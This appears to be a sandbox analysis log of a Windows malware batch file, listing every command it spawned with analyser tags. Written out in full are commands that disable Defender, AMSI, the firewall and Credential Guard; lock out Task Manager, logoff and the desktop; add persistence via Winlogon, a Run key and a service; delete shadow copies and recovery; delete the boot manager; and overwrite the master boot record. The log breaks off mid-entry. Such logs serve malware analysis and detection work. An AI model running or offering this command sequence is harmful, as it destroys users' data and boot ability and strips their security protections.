- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1532
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:616
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\system32\powercfg.exe
  powercfg -setactive SCHEME_CURRENT
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:2520
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4180
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3352
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4888
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  PID:3976
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
  2⤵
  PID:1664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4204
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:3948
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
  2⤵
  PID:5084
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off #
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2620
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\shutdown.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\logoff.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3148
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1144
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4272
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1116
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3788
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2264
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:5008
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:5036
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2472
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3212
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:1312
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
  2⤵
  PID:3968
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3624
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:864
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4216
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:4360
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
  2⤵
  PID:1968
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4852
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
  2⤵
  PID:1060
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:1980
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
  2⤵
  PID:2268
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:4964
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2056
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
  2⤵
  PID:1164
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
  2⤵
  PID:3040
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:784
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:3056
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:3080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2868
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2552
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
  2⤵
  PID:3432
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3144
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3532
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:4840
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:2392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:3004
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:2144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3868
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:3156
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:4668
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
  2⤵
  PID:1056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:1000
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:1604
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
  2⤵
  PID:5012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
  2⤵
  PID:4836
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
  2⤵
  PID:2288
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:4568
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
  2⤵
  PID:1168
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies visibility of hidden/system files in Explorer
  PID:1692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
  2⤵
  PID:808
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:656
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
  2⤵
  PID:2964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:2680
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:1456
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
  2⤵
  PID:4476
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:1256
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
  2⤵
  PID:3184
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
  2⤵
  PID:1412
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  PID:2152
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2496
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:4160
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4448
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
  2⤵
  PID:3992
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where "NetEnabled=true" call Disable
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4696
- C:\Windows\system32\sc.exe
  sc stop WerSvc
  2⤵
  PID:1720
- C:\Windows\system32\sc.exe
  sc config WerSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:220
- C:\Windows\system32\fsutil.exe
  fsutil usn deletejournal /d C:
  2⤵
  PID:1764
- C:\Windows\system32\fsutil.exe
  fsutil volume diskfree C:
  2⤵
  PID:2132
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3668
- C:\Windows\system32\sc.exe
  sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
  2⤵
  PID:596
- C:\Windows\system32\sethc.exe
  sethc.exe 251
  2⤵
  PID:3856
- C:\Windows\system32\reg.exe
  reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
  2⤵
  PID:1732
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:2520
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
  2⤵
  PID:2664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  2⤵
  PID:428
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1664
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2620
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3748
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3512
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:1004
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2⤵
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Writes to the Master Boot Record (MBR)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4012
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3868
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4536
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2336
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1056
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3848
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
  2⤵
  PID:3220
- C:\Windows\system32\sc.exe
  sc stop SDRSVC
  2⤵
  - Launches sc.exe
  PID:5024
- C:\Windows\system32\sc.exe
  sc config SDRSVC start= disabled
  2⤵
  - Launches sc.exe
  PID:5012
- C:\Windows\system32\bcdedit.exe
  bcdedit /set nx AlwaysOff
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4836
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4568
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32 /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2424
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2620
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4980
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4000
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:832
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4988
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2264
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5080
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1400
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3748
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4672
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1880
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3212
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3624
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1404
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1968
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3640
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1332
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:300
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1684
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3068
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3044
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2560
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2552
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3084
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3852
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5116
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5024
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4408
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3436
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3488
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4172
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:996
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3964
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1200
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2512
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2680
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3260
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2968
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:952
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:808
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4696
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3668
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2436
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4660
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1512
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:176
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2604
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4360
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5096
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1544
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:972
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4960
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3980
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5152
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5184
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5196
- C:\Windows\system32\cmd.exe
